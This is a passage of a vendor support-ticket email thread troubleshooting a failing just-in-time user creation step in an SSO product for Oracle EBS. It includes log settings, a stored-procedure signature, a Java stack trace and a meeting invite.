name="com.authenion.sso.ebsauth.processors.HttpProcessor" additivity="false" level="debug">
<AppenderRef ref="reqLog"/> </Logger> <Logger name="com.authenion.sso" additivity="false"
level="debug"> <AppenderRef ref="debugLog" /> <AppenderRef ref="errorLog" /> </Logger>
<Logger name="org.springframework.boot" additivity="false" level="warn"> <AppenderRef
ref="debugLog"/> </Logger> <Logger name="org.apache.hc" additivity="false" level="debug">
<AppenderRef ref="debugLog"/> </Logger> <Root level="info"> <AppenderRef ref="debugLog" />
</Root> </Loggers> </Configuration> [eikuser@aoc05eikilmnpi01 eik3]$

```

Hi Venkata Reddy, switch this line <Logger name="com.authenion.sso" additivity="false" level="debug"> to <Logger name="com.authenion" additivity="false" level="debug"> Restart and send us the eik logs please. Ticket URL -

<https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please find the attached debug log after making log4j changes. Thanks Venkata

Hi Venkata Reddy, Please send us a meeting invite for further suggestion. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Please join the call <https://teams.microsoft.com/meet/2267911318159?p=vCXStGQSkTStV85n3T>

---

Microsoft	Teams	meeting	Need	help?	Join:
-----------	-------	---------	------	-------	-------

<https://teams.microsoft.com/meet/2267911318159?p=vCXStGQSkTStV85n3T> Meeting ID: 226 791 131 815 9 Passcode: mS3Ub2BH Dial in by phone +1 954-256-2185,,838337340# United States, Fort Lauderdale Find a local number Phone conference ID: 838 337 340# Join on a video conferencing device Tenant key: officedepot@m.webex.com Video ID: 113 453 701 3 More info For organizers:

Reset	dial-in	PIN
-------	---------	-----

---

Hi Venkata Reddy, Did anything change in the SQL method recently? Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the

ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, Can you join please. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

need all these parameters to call the procedure PROCEDURE provision\_fnd\_user( p\_fnd\_user\_name IN VARCHAR2 , p\_userid IN VARCHAR2 , p\_user\_first\_name IN VARCHAR2 , p\_user\_last\_name IN VARCHAR2 , p\_access\_code IN VARCHAR2 , p\_email IN VARCHAR2 , p\_phone\_nbr IN VARCHAR2 , AOPS\_Customer\_ID IN VARCHAR2 , contact\_id IN VARCHAR2 )

Hi Venkata Reddy, Can you please download the UpdatedOfficeDepotProvisionerPlugin-1.0.0 Click here to download. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I am not able to download the plugin from the link you have provided.

Hi Venkata Reddy, Can you please try the below link <https://support.likemindsconsulting.com/en/support/solutions/articles/48001272900-binaries> Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I have downloaded the updated jar files UpdatedOfficeDepotProvisionerPlugin-1.0.0.jar, will try and

get back to you on the status.

```
Getting this error now 2025-07-16T11:14:16.107-0400 ERROR [https-jsse-nio-0.0.0.0-8443-exec-3]
[com.authenion.sso.ebsauth.exception.EikExceptionResolver] EIK_JIT_USER_CREATION_ERROR
com.authenion.sso.ebsauth.exception.AuthException:   EIK_JIT_USER_CREATION_ERROR   at
com.authenion.sso.ebsauth.datasources.DataSourceManager.createUser(DataSourceManager.java
:637)           ~[authenion-eik-3.0.1.jar!/:?]           at
com.authenion.sso.ebsauth.service.AuthService.createEbsSession(AuthService.java:226)
~[authenion-eik-3.0.1.jar!/:?]           at
com.authenion.sso.ebsauth.service.AuthService.ebsSession(AuthService.java:186)
~[authenion-eik-3.0.1.jar!/:?]           at
com.authenion.sso.ebsauth.controllers.AuthClientController.sessionPreCheck(AuthClientController.j
ava:183)           ~[authenion-eik-3.0.1.jar!/:?]           at
com.authenion.sso.ebsauth.controllers.AuthClientController.doHandler(AuthClientController.java:13
4)           ~[authenion-eik-3.0.1.jar!/:?]           at
java.base/jdk.internal.reflect.DirectMethodHandleAccessor.invoke(DirectMethodHandleAccessor.jav
a:103)   ~[?:?]   at   java.base/java.lang.reflect.Method.invoke(Method.java:580)   ~[?:?]   at
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMet
hod.java:258)           ~[spring-web-6.2.7.jar!/:6.2.7]           at
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHa
ndlerMethod.java:191)           ~[spring-web-6.2.7.jar!/:6.2.7]           at
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAn
dHandle(ServletInvocableHandlerMethod.java:118)           ~[spring-webmvc-6.2.7.jar!/:6.2.7]           at
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHa
ndlerMethod(RequestMappingHandlerAdapter.java:986)           ~[spring-webmvc-6.2.7.jar!/:6.2.7]           at
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInt
```

ernal(RequestMappingHandlerAdapter.java:891) ~[spring-webmvc-6.2.7.jar!/:6.2.7] at  
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandl  
erMethodAdapter.java:87) ~[spring-webmvc-6.2.7.jar!/:6.2.7] at  
org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1089)  
~[spring-webmvc-6.2.7.jar!/:6.2.7] at  
org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:979)  
~[spring-webmvc-6.2.7.jar!/:6.2.7] at  
org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1014)  
~[spring-webmvc-6.2.7.jar!/:6.2.7] at  
org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:903)  
~[spring-webmvc-6.2.7.jar!/:6.2.7] at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:564)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885)  
~[spring-webmvc-6.2.7.jar!/:6.2.7] at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:658)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:195)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)  
~[tomcat-embed-websocket-10.1.41.jar!/:?] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
com.authenion.sso.ebsauth.processors.HttpProcessor.doFilterInternal(HttpProcessor.java:70)



~[authenion-eik-3.0.1.jar!/:?] at  
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)  
~[spring-web-6.2.7.jar!/:6.2.7] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.jav  
a:201) ~[spring-web-6.2.7.jar!/:6.2.7] at  
org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116)  
~[spring-web-6.2.7.jar!/:6.2.7] at  
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:164)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:140)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:167)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:90)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:483)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:116)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:93)  
~[tomcat-embed-core-10.1.41.jar!/:?] at  
org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)

```
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:903)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1740)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1189)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:658)
~[tomcat-embed-core-10.1.41.jar!/:?] at
org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
~[tomcat-embed-core-10.1.41.jar!/:?] at java.base/java.lang.Thread.run(Thread.java:1575) [?:?]
2025-07-16T11:14:16.121-0400 ERROR [https-jsse-nio-0.0.0.0-8443-exec-3]
[com.authenion.sso.ebsauth.exception.EikExceptionResolver] Request Origination 10.119.1.9
2025-07-16T11:14:16.124-0400 ERROR [https-jsse-nio-0.0.0.0-8443-exec-3]
[com.authenion.sso.ebsauth.exception.EikExceptionResolver] JIT process resulted in failure, Check
stack trace
```

Hi Venkata Reddy, We will get back to you as soon as we gather more info on this issue. Ticket URL

- <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

Hi Venkata Reddy, I hope you're doing well. We would like to confirm whether the JIT issue has been resolved or if it is still ongoing. Kindly update us at your earliest convenience. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

We are still having the issue. Thanks Venkata

Hi Venkata Reddy, Could you please share the latest logs. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

I did share the log details earlier it is the same issue.

You had updated on this issue earlier, I was waiting on your advise on this issue. Hi Venkata Reddy, We will get back to you as soon as we gather more info on this issue.

Hi Venkata Reddy, Greetings to you, We confirm that the JIT provisioner works fine in our test environment. Ticket URL - <https://support.likemindsconsulting.com/helpdesk/tickets/1233> Regards, EIK Support Team <-- This message is sent from the EIK Support portal. Please do not reply directly to this email. Visit the ticket link above to view or manage your tickets.-->

